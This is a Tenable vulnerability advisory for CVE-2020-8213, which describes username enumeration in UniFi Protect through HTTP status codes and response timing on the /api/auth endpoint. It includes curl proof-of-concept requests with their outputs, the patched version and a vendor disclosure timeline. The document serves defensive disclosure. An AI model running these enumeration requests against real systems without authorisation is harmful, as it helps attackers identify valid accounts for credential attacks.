Facebook Google Plus Twitter LinkedIn YouTube RSS Menu Search Resource - BlogResource - WebinarResource - ReportResource - Eventicons_066 icons_067icons_068icons_069icons_070

Ubiquiti UniFi Protect Username Discovery

Medium

Synopsis

Tenable has discovered two username discovery vulnerabilities in Unifi Protect v1.13.3 and below that allow a remote, unauthenticated attacker to discover valid usernames for the Unifi Protect web application. The first vulnerability allows an attacker to discover valid usernames by examining the server's HTTP status code in response to requests to the "/api/auth" API endpoint. The second vulnerability allows an attacker to discover valid usernames by examining timing of server responses to requests to the "/api/auth" API endpoint.

(1) Ubiquiti Unifi Protect Username Discovery via HTTP status code

CVSS v2 Base Score: 5.0
CVSS v2 Vector: (AV:N/AC:L/Au:N/C:P/I:N/A:N)

The Ubiquiti Unifi Protect API contains a flaw that allows a remote, unauthenticated attacker to discover valid usernames for the Unifi Protect web application by examining the HTTP status code in responses from the server.

When an authentication request is sent to the "/api/auth" API endpoint, the status code in the response reveals whether or not the username is valid. If the username is invalid, the server returns status code 400, but if the username is valid, it returns status code 401. An attacker can exploit this flaw to enumerate valid usernames for the Unifi Protect web application by sending requests to the "/api/auth" API endpoint with arbitrary usernames and examining the status code in each response.

The flaw lies in the implementation of the "/auth" endpoint in /usr/share/unifi-protect/app/server.js. Early in the function associated with the endpoint, an invalid username causes the function to return an error response including "status(400)". Further down in the function, there are three places where an invalid password causes the function to return an error response, which includes "status(401)" in each case. The inconsistent use of status codes allows an attacker to differentiate between valid and invalid usernames.

========

Proof of Concept (PoC)

Status code is 400 for invalid usernames:

$curl -H "Content-Type: application/json" --insecure -X POST https://192.168.30.6:7443/api/auth -d '{"username":"a", "password":"a"}' -w " %{http_code}"
{"error":"invalid username or password"} 400

$curl -H "Content-Type: application/json" --insecure -X POST https://192.168.30.6:7443/api/auth -d '{"username":"not-admin", "password":"a"}' -w " %{http_code}"
{"error":"invalid username or password"} 400

$curl -H "Content-Type: application/json" --insecure -X POST https://192.168.30.6:7443/api/auth -d '{"username":"admin", "password":"a"}' -w " %{http_code}"
{"error":"invalid username or password"} 400

Status code is 401 for valid usernames:

$curl -H "Content-Type: application/json" --insecure -X POST https://192.168.30.6:7443/api/auth -d '{"username":"nvr-admin", "password":"a"}' -w " %{http_code}"
{"error":"invalid username or password"} 401

$curl -H "Content-Type: application/json" --insecure -X POST https://192.168.30.6:7443/api/auth -d '{"username":"nvr-user", "password":"a"}' -w " %{http_code}"
{"error":"invalid username or password"} 401

A PoC script to test for the vulnerability is available at:

https://github.com/tenable/poc/blob/master/Ubiquiti/UniFi_Protect/cve_2020_8213_unifi_protect_username_discovery.py

(2) Ubiquiti Unifi Protect Username Discovery via HTTP Response Timing

CVSS v2 Base Score: 5.0
CVSS v2 Vector: (AV:N/AC:L/Au:N/C:P/I:N/A:N)

The Ubiquiti Unifi Protect API contains a flaw that allows a remote, unauthenticated attacker to discover valid usernames for the Unifi Protect web application by examining the timing of responses from the server. When an authentication request is sent to the "/api/auth" API endpoint, the server takes significantly longer to respond if the username is valid. An attacker can exploit this flaw to enumerate valid usernames for the Unifi Protect web application by sending requests to the "/api/auth" API endpoint with arbitrary usernames and examining the timing of the server responses to infer which usernames are valid.

Specifically, the server response takes about an order of magnitude longer when the username is valid. In testing, server responses to requests with invalid usernames were received in 25-50 milliseconds, whereas server responses to requests with valid usernames were received in 300-500 milliseconds.

The flaw lies in the implementation of the "/auth" endpoint in /usr/share/unifi-protect/app/server.js. The function associated with the endpoint validates the username early in the function, immediately returning the error "invalid username or password" if the username is invalid. If the username is valid and the password is invalid, the same error message is returned, but the extra processing time needed to determine that the password is invalid is reflected in the server response time, allowing an attacker to differentiate between valid and invalid usernames.

========

Proof of Concept (PoC)

Response time is 25-50 ms for invalid usernames:

$time curl -H "Content-Type: application/json" --insecure -X POST http://192.168.30.6:7080/api/auth -d '{"username":"a", "password":"a"}'
{"error":"invalid username or password"}
real    0m0.025s
user    0m0.005s
sys     0m0.005s

$time curl -H "Content-Type: application/json" --insecure -X POST https://192.168.30.6:7443/api/auth -d '{"username":"not-admin", "password":"a"}'
{"error":"invalid username or password"}
real    0m0.050s
user    0m0.010s
sys     0m0.000s

$time curl -H "Content-Type: application/json" --insecure -X POST http://192.168.30.6:7080/api/auth -d '{"username":"admin", "password":"a"}'
{"error":"invalid username or password"}
real    0m0.028s
user    0m0.005s
sys     0m0.005s

Response time is 300-500 ms for valid usernames:

$time curl -H "Content-Type: application/json" --insecure -X POST http://192.168.30.6:7080/api/auth -d '{"username":"nvr-admin", "password":"a"}'
{"error":"invalid username or password"}
real    0m0.331s
user    0m0.010s
sys     0m0.001s

$time curl -H "Content-Type: application/json" --insecure -X POST http://192.168.30.6:7080/api/auth -d '{"username":"nvr-user", "password":"a"}'
{"error":"invalid username or password"}
real    0m0.346s
user    0m0.006s
sys     0m0.006s

Solution

Update to UniFi Protect v1.13.4-beta.5 per vendor security advisory

Disclosure Timeline

4/16/2020: Vulnerabilities discovered
4/16/2020: Tenable reported vulnerabilities to vendor, 90-day disclosure date 7/16/2020
4/17/2020: Vendor acknowledged report and forwarded to Protect team
5/4/2020: Tenable asked vendor for update
5/4/2020: Vendor updated that authentication redesign is expected in CloudKey Firmware 2.0.0, currently in internal testing, and they'll share a version with Tenable as soon as possible
5/4/2020: Tenable ensured vendor awareness of disclosure policy in regards to beta releases
5/28/2020: Tenable asked vendor to confirm that issues are still planned to be resolved in CloudKey Firmware 2.0.0 and asked for ETA for release
5/29/2020: Vendor confirmed authentication redesign will be in CloudKey Gen2 Firmware 2.0.0 and stated that their goal is to release before 90-day disclosure date, will let us know when released to beta
7/6/2020: Tenable reminded vendor of upcoming disclosure date and requested confirmation of expected release before 7/16
7/9/2020: Tenable reminded vendor of upcoming disclosure date in one week, reminded vendor of disclosure policy allowing delayed disclosure if fix release date is planned within 14 days of disclosure date, requested expected fix release date
7/9/2020: Vendor acknowledged upcoming disclosure date, reported unexpected delays due to regressions and scope of update, requested delaying disclosure
7/10/2020: Tenable requested specific planned release date
7/10/2020: Vendor still planning release 7/16, provided link to unreleased preview of Cloudkey Firmware 2.0.6
7/13/2020: Tenable acknowledged planned release date 7/16 and preview link, requested that if release will be delayed that vendor let us know as soon as possible and no later than end of day 7/16 of new release date, otherwise disclosure planned for 7/17
7/16/2020: Tenable reminded vendor of disclosure date and requested new release date be provided by end of day if fix would not be released by end of day
7/16/2020: Vendor stated CloudKey Firmware 2.0 was not ready for release and they would instead make a new version 1.13.x as a quick fix with a goal of releasing the quick fix on or before July 30
7/16/2020: Tenable acknowledged intention to patch on or before July 30 and requested vendor provide a specific release date in accordance with our policy around delaying disclosure
7/16/2020: Vendor provided fix release date July 30, 2020 and will let us know if fix is released sooner
7/16/2020: Tenable confirmed that planned disclosure date had been updated to July 30 and advisory will be published when fix is released or planned disclosure date passes, whichever is earlier
7/16/2020: Vendor advised fix was released to beta channel as UniFi Protect 1.13.4-beta.2 and CVE-2020-8213 was assigned
7/17/2020: Tenable advised vendor of incomplete timing attack patch and provided 7 day window for a complete patch to be released before incomplete patch is disclosed
7/22/2020: Vendor advised of updated fix (complete patch) in 1.13.4-beta.5

All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email [email protected]

Risk Information

CVE ID: CVE-2020-8213
Tenable Advisory ID: TRA-2020-45
Credit:
Katie Sexton
CVSSv2 Base / Temporal Score:
5.0 / 4.1
CVSSv2 Vector:
AV:N/AC:L/Au:N/C:P/I:N/A:N
CVSSv3 Base / Temporal Score:
5.3 / 4.9
CVSSv3 Vector:
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Affected Products:
UniFi Protect <= 1.13.3
Risk Factor:
Medium

Advisory Timeline

07/17/2020 Advisory published.
7/22/2020: Updated advisory to reference 1.13.4-beta.5 as solution, update timeline, and add link to PoC script